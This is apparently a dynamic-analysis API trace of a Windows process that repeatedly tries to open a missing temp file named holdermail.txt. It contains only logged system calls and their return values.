	[0088.885] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.885] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.885] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.885] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.885] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.886] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.886] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.886] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.886] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.886] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.886] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.886] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.887] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.887] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.887] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.887] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.888] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.888] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.888] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.889] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.889] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.889] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.889] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.889] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.890] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.890] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.890] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.890] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.890] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.890] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.890] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.891] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.891] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.891] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.891] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.891] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.892] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.892] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.892] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.892] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.893] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.893] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.893] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.893] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.894] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.894] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.894] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.894] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.894] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.894] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.894] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.895] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.895] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.895] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.895] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.895] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.895] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.895] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.896] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.896] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.896] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.896] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.896] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.897] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.897] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.897] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.897] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.898] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.898] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.898] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.898] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.898] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.899] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.899] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.899] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.899] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
